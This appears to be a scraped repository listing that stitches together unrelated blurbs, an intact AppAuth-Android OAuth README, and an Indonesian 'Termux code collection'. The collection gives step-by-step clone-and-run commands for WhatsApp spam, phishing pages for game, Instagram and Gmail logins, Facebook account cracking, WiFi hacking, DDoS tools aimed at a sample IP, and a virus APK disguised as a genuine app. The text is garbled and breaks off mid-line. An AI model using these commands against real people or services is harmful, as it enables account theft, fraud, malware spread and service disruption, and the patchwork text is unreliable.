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KennaSecurity / All SamplesCoding samples using the Kenna Security Platform REST API. All the code samples in this GitHub repository are offered “as is” and include no warranty of any kind. Use them at your own risk. In no event will Kenna be liable to end user or any other party for damages of any kind arising from the use of these samples.
danapsimer / Aws Api To Lambda ShimUsing Either http://github.com/aws/aws-lambda-go/ or http://github.com/eawsy/aws-lambda-go/, this project provides a shim for calling go web services from AWS Api Gateway. Read my blog articles: https://goo.gl/PPocho, https://goo.gl/eg9CTQ
IBM / Template Java SpringGithub Template that uses Spring Boot with Java a BFF or Microservice API with Open API Specification
zeke / Flux Fine Tune Action💅 A GitHub Actions workflow template for fine-tuning your own Flux model using the Replicate's API
suzuki-shunsuke / Ghaperfghaperf is a CLI to analyze the performance of GitHub Actions using GitHub API and raw job logs
mercerheather476 / Turbo Garbanzo [](https://search.maven.org/search?q=g:net.openid%20appauth) [](http://javadoc.io/doc/net.openid/appauth) [](https://github.com/openid/AppAuth-Android/actions/workflows/build.yml) [](https://codecov.io/github/openid/AppAuth-Android?branch=master) AppAuth for Android is a client SDK for communicating with [OAuth 2.0](https://tools.ietf.org/html/rfc6749) and [OpenID Connect](http://openid.net/specs/openid-connect-core-1_0.html) providers. It strives to directly map the requests and responses of those specifications, while following the idiomatic style of the implementation language. In addition to mapping the raw protocol flows, convenience methods are available to assist with common tasks like performing an action with fresh tokens. The library follows the best practices set out in [RFC 8252 - OAuth 2.0 for Native Apps](https://tools.ietf.org/html/rfc8252), including using [Custom Tabs](https://developer.chrome.com/multidevice/android/customtabs) for authorization requests. For this reason, `WebView` is explicitly *not* supported due to usability and security reasons. The library also supports the [PKCE](https://tools.ietf.org/html/rfc7636) extension to OAuth which was created to secure authorization codes in public clients when custom URI scheme redirects are used. The library is friendly to other extensions (standard or otherwise) with the ability to handle additional parameters in all protocol requests and responses. A talk providing an overview of using the library for enterprise single sign-on (produced by Google) can be found here: [Enterprise SSO with Chrome Custom Tabs](https://www.youtube.com/watch?v=DdQTXrk6YTk). ## Download AppAuth for Android is available on [MavenCentral](https://search.maven.org/search?q=g:net.openid%20appauth) ```groovy implementation 'net.openid:appauth:<version>' ``` ## Requirements AppAuth supports Android API 16 (Jellybean) and above. Browsers which provide a custom tabs implementation are preferred by the library, but not required. Both Custom URI Schemes (all supported versions of Android) and App Links (Android M / API 23+) can be used with the library. In general, AppAuth can work with any Authorization Server (AS) that supports native apps as documented in [RFC 8252](https://tools.ietf.org/html/rfc8252), either through custom URI scheme redirects, or App Links. AS's that assume all clients are web-based or require clients to maintain confidentiality of the client secrets may not work well. ## Demo app A demo app is contained within this repository. For instructions on how to build and configure this app, see the [demo app readme](https://github.com/openid/AppAuth-Android/blob/master/app/README.md). ## Conceptual overview AppAuth encapsulates the authorization state of the user in the [net.openid.appauth.AuthState](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java) class, and communicates with an authorization server through the use of the [net.openid.appauth.AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) class. AuthState is designed to be easily persistable as a JSON string, using the storage mechanism of your choice (e.g. [SharedPreferences](https://developer.android.com/training/basics/data-storage/shared-preferences.html), [sqlite](https://developer.android.com/training/basics/data-storage/databases.html), or even just [in a file](https://developer.android.com/training/basics/data-storage/files.html)). AppAuth provides data classes which are intended to model the OAuth2 specification as closely as possible; this provides the greatest flexibility in interacting with a wide variety of OAuth2 and OpenID Connect implementations. Authorizing the user occurs via the user's web browser, and the request is described using instances of [AuthorizationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationRequest.java). The request is dispatched using [performAuthorizationRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L159) on an AuthorizationService instance, and the response (an [AuthorizationResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationResponse.java) instance) will be dispatched to the activity of your choice, expressed via an Intent. Token requests, such as obtaining a new access token using a refresh token, follow a similar pattern: [TokenRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenRequest.java) instances are dispatched using [performTokenRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L252) on an AuthorizationService instance, and a [TokenResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenResponse.java) instance is returned via a callback. Responses can be provided to the [update()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L367) methods on AuthState in order to track and persist changes to the authorization state. Once in an authorized state, the [performActionWithFreshTokens()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L449) method on AuthState can be used to automatically refresh access tokens as necessary before performing actions that require valid tokens. ## Implementing the authorization code flow It is recommended that native apps use the [authorization code](https://tools.ietf.org/html/rfc6749#section-1.3.1) flow with a public client to gain authorization to access user data. This has the primary advantage for native clients that the authorization flow, which must occur in a browser, only needs to be performed once. This flow is effectively composed of four stages: 1. Discovering or specifying the endpoints to interact with the provider. 2. Authorizing the user, via a browser, in order to obtain an authorization code. 3. Exchanging the authorization code with the authorization server, to obtain a refresh token and/or ID token. 4. Using access tokens derived from the refresh token to interact with a resource server for further access to user data. At each step of the process, an AuthState instance can (optionally) be updated with the result to help with tracking the state of the flow. ### Authorization service configuration First, AppAuth must be instructed how to interact with the authorization service. This can be done either by directly creating an [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java#L102) instance, or by retrieving an OpenID Connect discovery document. Directly specifying an AuthorizationServiceConfiguration involves providing the URIs of the authorization endpoint and token endpoint, and optionally a dynamic client registration endpoint (see "Dynamic client registration" for more info): ```java AuthorizationServiceConfiguration serviceConfig = new AuthorizationServiceConfiguration( Uri.parse("https://idp.example.com/auth"), // authorization endpoint Uri.parse("https://idp.example.com/token")); // token endpoint ``` Where available, using an OpenID Connect discovery document is preferable: ```java AuthorizationServiceConfiguration.fetchFromIssuer( Uri.parse("https://idp.example.com"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { public void onFetchConfigurationCompleted( @Nullable AuthorizationServiceConfiguration serviceConfiguration, @Nullable AuthorizationException ex) { if (ex != null) { Log.e(TAG, "failed to fetch configuration"); return; } // use serviceConfiguration as needed } }); ``` This will attempt to download a discovery document from the standard location under this base URI, `https://idp.example.com/.well-known/openid-configuration`. If the discovery document for your IDP is in some other non-standard location, you can instead provide the full URI as follows: ```java AuthorizationServiceConfiguration.fetchFromUrl( Uri.parse("https://idp.example.com/exampletenant/openid-config"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { ... } }); ``` If desired, this configuration can be used to seed an AuthState instance, to persist the configuration easily: ```java AuthState authState = new AuthState(serviceConfig); ``` ### Obtaining an authorization code An authorization code can now be acquired by constructing an AuthorizationRequest, using its Builder. In AppAuth, the builders for each data class accept the mandatory parameters via the builder constructor: ```java AuthorizationRequest.Builder authRequestBuilder = new AuthorizationRequest.Builder( serviceConfig, // the authorization service configuration MY_CLIENT_ID, // the client ID, typically pre-registered and static ResponseTypeValues.CODE, // the response_type value: we want a code MY_REDIRECT_URI); // the redirect URI to which the auth response is sent ``` Other optional parameters, such as the OAuth2 [scope string](https://tools.ietf.org/html/rfc6749#section-3.3) or OpenID Connect [login hint](http://openid.net/specs/openid-connect-core-1_0.html#rfc.section.3.1.2.1) are specified through set methods on the builder: ```java AuthorizationRequest authRequest = authRequestBuilder .setScope("openid email profile https://idp.example.com/custom-scope") .setLoginHint("jdoe@user.example.com") .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performAuthorizationRequest` and providing pending intent for completion and cancelation handling activities. The `startActivityForResult` approach is simpler to use but may require more processing of the result: ```java private void doAuthorization() { AuthorizationService authService = new AuthorizationService(this); Intent authIntent = authService.getAuthorizationRequestIntent(authRequest); startActivityForResult(authIntent, RC_AUTH); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_AUTH) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly transition to another activity on completion or cancelation, you can use `performAuthorizationRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performAuthorizationRequest( authRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` The intents may be customized to carry any additional data or flags required for the correct handling of the authorization response. #### Capturing the authorization redirect Once the authorization flow is completed in the browser, the authorization service will redirect to a URI specified as part of the authorization request, providing the response via query parameters. In order for your app to capture this response, it must register with the Android OS as a handler for this redirect URI. We recommend using a custom scheme based redirect URI (i.e. those of form `my.scheme:/path`), as this is the most widely supported across all versions of Android. To avoid conflicts with other apps, it is recommended to configure a distinct scheme using "reverse domain name notation". This can either match your service web domain (in reverse) e.g. `com.example.service` or your package name `com.example.app` or be something completely new as long as it's distinct enough. Using the package name of your app is quite common but it's not always possible if it contains illegal characters for URI schemes (like underscores) or if you already have another handler for that scheme - so just use something else. When a custom scheme is used, AppAuth can be easily configured to capture all redirects using this custom scheme through a manifest placeholder: ```groovy android.defaultConfig.manifestPlaceholders = [ 'appAuthRedirectScheme': 'com.example.app' ] ``` Alternatively, the redirect URI can be directly configured by adding an intent-filter for AppAuth's RedirectUriReceiverActivity to your AndroidManifest.xml: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="com.example.app"/> </intent-filter> </activity> ``` If an HTTPS redirect URI is required instead of a custom scheme, the same approach (modifying your AndroidManifest.xml) is used: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="https" android:host="app.example.com" android:path="/oauth2redirect"/> </intent-filter> </activity> ``` HTTPS redirects can be secured by configuring the redirect URI as an [app link](https://developer.android.com/training/app-links/index.html) in Android M and above. We recommend that a fallback page be configured at the same address to forward authorization responses to your app via a custom scheme, for older Android devices. #### Handling the authorization response Upon completion of the authorization flow, the completion Intent provided to performAuthorizationRequest will be triggered. The authorization response is provided to this activity via Intent extra data, which can be extracted using the `fromIntent()` methods on AuthorizationResponse and AuthorizationException respectively: ```java public void onCreate(Bundle b) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` The response can be provided to the AuthState instance for easy persistence and further processing: ``` authState.update(resp, ex); ``` If the full redirect URI is required in order to extract additional information that AppAuth does not provide, this is also provided to your activity: ```java public void onCreate(Bundle b) { // ... Uri redirectUri = getIntent().getData(); // ... } ``` ### Exchanging the authorization code Given a successful authorization response carrying an authorization code, a token request can be made to exchange the code for a refresh token: ```java authService.performTokenRequest( resp.createTokenExchangeRequest(), new AuthorizationService.TokenResponseCallback() { @Override public void onTokenRequestCompleted( TokenResponse resp, AuthorizationException ex) { if (resp != null) { // exchange succeeded } else { // authorization failed, check ex for more details } } }); ``` The token response can also be used to update an AuthState instance: ```java authState.update(resp, ex); ``` ### Using access tokens Finally, the retrieved access token can be used to interact with a resource server. This can be done directly, by extracting the access token from a token response. However, in most cases, it is simpler to use the `performActionWithFreshTokens` utility method provided by AuthState: ```java authState.performActionWithFreshTokens(service, new AuthStateAction() { @Override public void execute( String accessToken, String idToken, AuthorizationException ex) { if (ex != null) { // negotiation for fresh tokens failed, check ex for more details return; } // use the access token to do something ... } }); ``` This also updates the AuthState object with current access, id, and refresh tokens. If you are storing your AuthState in persistent storage, you should write the updated copy in the callback to this method. ### Ending current session Given you have a logged in session and you want to end it. In that case you need to get: - `AuthorizationServiceConfiguration` - valid Open Id Token that you should get after authentication - End of session URI that should be provided within you OpenId service config First you have to build EndSessionRequest ```java EndSessionRequest endSessionRequest = new EndSessionRequest.Builder(authorizationServiceConfiguration) .setIdTokenHint(idToken) .setPostLogoutRedirectUri(endSessionRedirectUri) .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performEndSessionRequest` and providing pending intent for completion and cancelation handling activities. The startActivityForResult approach is simpler to use but may require more processing of the result: ```java private void endSession() { AuthorizationService authService = new AuthorizationService(this); Intent endSessionItent = authService.getEndSessionRequestIntent(endSessionRequest); startActivityForResult(endSessionItent, RC_END_SESSION); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_END_SESSION) { EndSessionResonse resp = EndSessionResonse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly transition to another activity on completion or cancelation, you can use `performEndSessionRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performEndSessionRequest( endSessionRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` End session flow will also work involving browser mechanism that is described in authorization mechanism session. Handling response mechanism with transition to another activity should be as follows: ```java public void onCreate(Bundle b) { EndSessionResponse resp = EndSessionResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` ### AuthState persistence Instances of `AuthState` keep track of the authorization and token requests and responses. This is the only object that you need to persist to retain the authorization state of the session. Typically, one would do this by storing the authorization state in SharedPreferences or some other persistent store private to the app: ```java @NonNull public AuthState readAuthState() { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); String stateJson = authPrefs.getString("stateJson", null); if (stateJson != null) { return AuthState.jsonDeserialize(stateJson); } else { return new AuthState(); } } public void writeAuthState(@NonNull AuthState state) { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); authPrefs.edit() .putString("stateJson", state.jsonSerializeString()) .apply(); } ``` The demo app has an [AuthStateManager](https://github.com/openid/AppAuth-Android/blob/master/app/java/net/openid/appauthdemo/AuthStateManager.java) type which demonstrates this in more detail. ## Advanced configuration AppAuth provides some advanced configuration options via [AppAuthConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java) instances, which can be provided to [AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) during construction. ### Controlling which browser is used for authorization Some applications require explicit control over which browsers can be used for authorization - for example, to require that Chrome be used for second factor authentication to work, or require that some custom browser is used for authentication in an enterprise environment. Control over which browsers can be used can be achieved by defining a [BrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserMatcher.java), and supplying this to the builder of AppAuthConfiguration. A BrowserMatcher is suppled with a [BrowserDescriptor](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDescriptor.java) instance, and must decide whether this browser is permitted for the authorization flow. By default, [AnyBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/AnyBrowserMatcher.java) is used. For your convenience, utility classes to help define a browser matcher are provided, such as: - [Browsers](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/Browsers.java): contains a set of constants for the official package names and signatures of Chrome, Firefox and Samsung SBrowser. - [VersionedBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionedBrowserMatcher.java): will match a browser if it has a matching package name and signature, and a version number within a defined [VersionRange](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionRange.java). This class also provides some static instances for matching Chrome, Firefox and Samsung SBrowser. - [BrowserAllowList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserAllowList.java): takes a list of BrowserMatcher instances, and will match a browser if any of these child BrowserMatcher instances signals a match. - [BrowserDenyList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDenyList.java): the inverse of BrowserAllowList - takes a list of browser matcher instances, and will match a browser if it _does not_ match any of these child BrowserMatcher instances. For instance, in order to restrict the authorization flow to using Chrome or SBrowser as a custom tab: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserAllowList( VersionedBrowserMatcher.CHROME_CUSTOM_TAB, VersionedBrowserMatcher.SAMSUNG_CUSTOM_TAB)) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` Or, to prevent the use of a buggy version of the custom tabs in Samsung SBrowser: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserDenyList( new VersionedBrowserMatcher( Browsers.SBrowser.PACKAGE_NAME, Browsers.SBrowser.SIGNATURE_SET, true, // when this browser is used via a custom tab VersionRange.atMost("5.3") ))) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` ### Customizing the connection builder for HTTP requests It can be desirable to customize how HTTP connections are made when performing token requests, for instance to use [certificate pinning](https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning) or to add additional trusted certificate authorities for an enterprise environment. This can be achieved in AppAuth by providing a custom [ConnectionBuilder](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/connectivity/ConnectionBuilder.java) instance. For example, to custom the SSL socket factory used, one could do the following: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setConnectionBuilder(new ConnectionBuilder() { public HttpURLConnection openConnect(Uri uri) throws IOException { URL url = new URL(uri.toString()); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); if (connection instanceof HttpsUrlConnection) { HttpsURLConnection connection = (HttpsURLConnection) connection; connection.setSSLSocketFactory(MySocketFactory.getInstance()); } } }) .build(); ``` ### Issues with [ID Token](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/IdToken.java#L118) validation ID Token validation was introduced in `0.8.0` but not all authorization servers or configurations support it correctly. - For testing environments [setSkipIssuerHttpsCheck](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java#L129) can be used to bypass the fact the issuer needs to be HTTPS. ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setSkipIssuerHttpsCheck(true) .build() ``` - For services that don't support nonce[s] resulting in **IdTokenException** `Nonce mismatch` just set nonce to `null` on the `AuthorizationRequest`. Please consider **raising an issue** with your Identity Provider and removing this once it is fixed. ```java AuthorizationRequest authRequest = authRequestBuilder .setNonce(null) .build(); ``` ## Dynamic client registration AppAuth supports the [OAuth2 dynamic client registration protocol](https://tools.ietf.org/html/rfc7591). In order to dynamically register a client, create a [RegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/RegistrationRequest.java) and dispatch it using [performRegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L278) on your AuthorizationService instance. The registration endpoint can either be defined directly as part of your [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java), or discovered from an OpenID Connect discovery document. ```java RegistrationRequest registrationRequest = new RegistrationRequest.Builder( serviceConfig, Arrays.asList(redirectUri)) .build(); ``` Requests are dispatched with the help of `AuthorizationService`. As this request is asynchronous the response is passed to a callback: ```java service.performRegistrationRequest( registrationRequest, new AuthorizationService.RegistrationResponseCallback() { @Override public void onRegistrationRequestCompleted( @Nullable RegistrationResponse resp, @Nullable AuthorizationException ex) { if (resp != null) { // registration succeeded, store the registration response AuthState state = new AuthState(resp); //proceed to authorization... } else { // registration failed, check ex for more details } } }); ``` ## Utilizing client secrets (DANGEROUS) We _strongly recommend_ you avoid using static client secrets in your native applications whenever possible. Client secrets derived via a dynamic client registration are safe to use, but static client secrets can be easily extracted from your apps and allow others to impersonate your app and steal user data. If client secrets must be used by the OAuth2 provider you are integrating with, we strongly recommend performing the code exchange step on your backend, where the client secret can be kept hidden. Having said this, in some cases using client secrets is unavoidable. In these cases, a [ClientAuthentication](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientAuthentication.java) instance can be provided to AppAuth when performing a token request. This allows additional parameters (both HTTP headers and request body parameters) to be added to token requests. Two standard implementations of ClientAuthentication are provided: - [ClientSecretBasic](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretBasic.java): includes a client ID and client secret as an HTTP Basic Authorization header. - [ClientSecretPost](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretPost.java): includes a client ID and client secret as additional request parameters. So, in order to send a token request using HTTP basic authorization, one would write: ```java ClientAuthentication clientAuth = new ClientSecretBasic(MY_CLIENT_SECRET); TokenRequest req = ...; authService.performTokenRequest(req, clientAuth, callback); ``` This can also be done when using `performActionWithFreshTokens` on AuthState: ```java ClientAuthentication clientAuth = new ClientSecretPost(MY_CLIENT_SECRET); authState.performActionWithFreshTokens( authService, clientAuth, action); ``` ## Modifying or contributing to AppAuth This project requires the Android SDK for API level 25 (Nougat) to build, though the produced binaries only require API level 16 (Jellybean) to be used. We recommend that you fork and/or clone this repository to make modifications; downloading the source has been known to cause some developers problems. For contributors, see the additional instructions in [CONTRIBUTING.md](https://github.com/openid/AppAuth-Android/blob/master/CONTRIBUTING.md). ### Building from the Command line AppAuth for Android uses Gradle as its build system. In order to build the library and app binaries, run `./gradlew assemble`. The library AAR files are output to `library/build/outputs/aar`, while the demo app is output to `app/build/outputs/apk`. In order to run the tests and code analysis, run `./gradlew check`. ### Building from Android Studio In AndroidStudio, File -> New -> Import project. Select the root folder (the one with the `build.gradle` file).
sllumenikmati21 / MisteriusxxKUMPULAN CODE TERMUX LENGKAP | SPAM CHAT WHATSAPP || nggk usah nyepam gw -_* atau hp lu gw ledakin!!#@vms $ pkg update && pkg upgrade Setelah mengupdate dan mengupgrade termux ketikan perintah berikut : $ pkg install python2 (y/n pilih y) $ pkg install php (y/n pilih y) $ pkg install git (y/n pilih y) Setalah mengikuti perintah di atas waktu-nya kita clonning tool-nya : $ git clone https://github.com/siputra12/prank.git Setelah proses cloning selesai kita move on dari perintah di atas dan ketikan perintah ini : $ cd prank $ ls $ php wa.php Kemudian masukan Nomor WhatsApp yang kalian ingin spam contoh : 085710917169 kemudian enter pada pilihan y/n pilih y .. .welcome back to me catatan:).... #@vms " jngan lupa subcribe pak *VEMAS DARK* -_-... (:" "phising game" (mobile legends dan clash of clan) $apt update $apt upgrade -y $pkg install python2 -y $pkg install apache2 $pkg install php -y $pkg install git $git clone https://github.com/Senitopeng/PhisingGame $ls $cd PhisingGame $python2 phising.py *Gunain dengan bijak cuk -_-* Cara Install OSIF ( Open Source Information Facebook ) $ pkg install python2 $ git clone https://github.com/ciku370/OSIF $ cd OSIF $ pip2 install -r requirements.txt Dan cara menjalankannya menggunakan perintah : python2 osif.py by: *Vdk* *~CARA SADAP WA~* *_SeNaNg-SeNaNg H4CK1NG MR.STAH_* $pkg update && pkg upgrade $pkg install git $pkg install curl $git clone https://github.com/AndriGanz/whatshack $cd whatshack $ls $sh whatshack.sh *~Jangan salah gunakan~* Tutorial termux Silahkan perdalami... D-tect tool Cara Install D-tect tool di android termux (command ) : $ apt install git $ apt install python2 $ git clone https://github.com/shawarkhanethicalhacker/D-TECT $ ls $ cd D-TECH $ chmod +x d-tect.py $ python2 d-tect.py 2. cara uninstall tool termux rm -rf toolsnya 3. cara buat virus cd /sdcard cd vbug ls chmod vbug.py chmod -v vbug.py python2 vbug.py 4. irssi /connet irc.freenode.net /nick w3wandroid /join #modol _________________________ DDOS via Termux ———————————— 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 104.27.146.125 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py _________________________________________ Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy ________________________________________ Musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak musik ________________________________________ Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah ________________________________________ Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya _______________________________________ Menampilkan animasi kereta $ pkg install sl $ sl _______________________________________ menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch _______________________________________ menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya _______________________________________ Cara Mendengarkan Yotuube di termux $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dgn mengetik nomornya. Tutorial membuat virus seperti aplikasi aslinya Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug Here 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh ———————— Auto boot fb git clone https://github.com/Senitopeng/BotFbBangDjon.git cd BotFbBangDjon python2 bangdjon.py melihat id fb https://findmyfbid.in/ Autoreaction Facebook git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction •TOOLS²TERMUX.P3 21.TOOLS SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap cd sqlmap python2 sqlmap.py ============================= 22.TUTORIAL PHISING INSTAGRAM VIA TERMUX pkg update pkg upgrade pkg install python2 pkg install git clear git clone https://github.com/evait-secutiry/weeman.git cd ls cd weeman python2 weeman.py show set url http://dewopanel.host22.com/masuk.php set port 8080 set action_url http://dewopanel.host22.com/masuk.php run ============================= 23.TUTORIAL MENAMBAH FOLLOWERS&LIKE INSTAGRAM Kegunaan untuk menambah follower dan like ig pkg update pkg upgrade pkg install python2 pkg install ruby gem install lolcat pkg install git git clone https://github.com/Hanzelnutt/instabot cd instabot ls pip2 install -r requirements.txt bash instabot ============================= 24.TUTOR HACK WIFI KHUSUS ROOT apt update apt upgrade apt install git git clone https://github.com/esc0rtd3w/wifi-hacker ls cd wifi-hacker ls chmod +x wifi-hacker.sh ls ./wifi-hacker.sh ============================= 25.TOOLS xNOT_FOUND *VER1* apt update && apt upgrade pkg install git pkg install gem pkg install figlet gem install lolcat git clone https://github.com/hatakecnk/xNot_Found cd xNot_Found sh xNot_Found.sh ============================= 26.HACK FB Nih ada tutor buat lewat TERMUX buat hack FB apt update && apt upgrade apt install python apt install python2 apt install ruby apt install git apt install wget apt install curl pip2 install mechanize pip2 install requests git clone https://github.com/hnov7/mbf *tunggu hingga selesai,jika sudah selesai *silahkan buka tab baru atau new session lalu ketik : cd mbf python2 mbf.py ============================= 27.HACK GMAIL apt-get update && apt-get upgrade apt-get install git apt-get install python python-pip python-setuptools pip install scapy git clone https://github.com/wifiphisher/wifiphisher.git cd wifiphisher< python setup.py install cd wifiphisher python wifiphisher ============================= 28.BERMAIN MOON-BUGGY pkg install moon-buggy moon-buggy ============================= 29.PERKIRAAN CUACA curl http://wttr.in/ (lokasi) ============================= 30.BROWSING DI TERMUX pkg install w3m w3m www.google.com Linknya bsa diubah ============================= [8/10 19.49] Yovis Si Wibub: Apt update Apt upgrade Apt install mechanize Apt install git git clone http://github.com/hnov7/mbf cd mbf python2 mbf. py Mbf tanpa username dan password. Jdi tinggl make aja [8/10 19.49] Yovis Si Wibub: --------------------------TOTUR MBF-----------------------$ pkg update && pkg upgrade $ pkg install python2 $ pip2 install mechanize $ git clone https://github.com/pirmansx/mbf Cara Menjalankannya : $ ls $ cd mbf $ python2 MBF.py [9/10 17.25] *~I⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟: Memper Cantik/Melihat V.Android Termux $ pkg update && pkg upgrade $ pkg install 